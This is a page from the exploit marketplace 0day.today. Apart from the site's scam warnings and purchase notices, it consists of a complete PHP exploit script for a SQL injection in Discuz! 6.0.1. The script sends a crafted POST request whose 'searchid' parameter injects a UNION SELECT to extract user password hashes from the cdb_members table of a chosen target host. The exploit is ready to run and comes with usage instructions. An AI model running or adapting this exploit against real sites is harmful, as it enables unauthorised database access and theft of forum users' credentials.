0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit
===================================================== Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit ===================================================== <?php error_reporting(E_ALL&E_NOTICE); print_r(" +------------------------------------------------------------------+ Exploit discuz6.0.1 Just work as php>=5 & mysql>=4.1 BY james +------------------------------------------------------------------+ "); if($argc>4) { $host=$argv[1]; $port=$argv[2]; $path=$argv[3]; $uid=$argv[4]; }else{ echo "Usage: php ".$argv[0]." host port path uid\n"; echo "host: target server \n"; echo "port: the web port, usually 80\n"; echo "path: path to discuz\n"; echo "uid : user ID you wanna get\n"; echo "Example:\r\n"; echo "php ".$argv[0]." localhost 80 1\n"; exit; } $content ="action=search&searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=".$uid."/*&do=submit"; $data = "POST /".$path."/index.php"." HTTP/1.1\r\n"; $data .= "Accept: */*\r\n"; $data .= "Accept-Language: zh-cn\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "User-Agent: wap\r\n"; $data .= "Host: ".$host."\r\n"; $data .= "Content-length: ".strlen($content)."\r\n"; $data .= "Connection: Close\r\n"; $data .= "\r\n"; $data .= $content."\r\n\r\n"; $ock=fsockopen($host,$port); if (!$ock) { echo 'No response from '.$host; die; } fwrite($ock,$data); while (!feof($ock)) { echo fgets($ock, 1024); } ?> # 0day.today [2024-12-25] #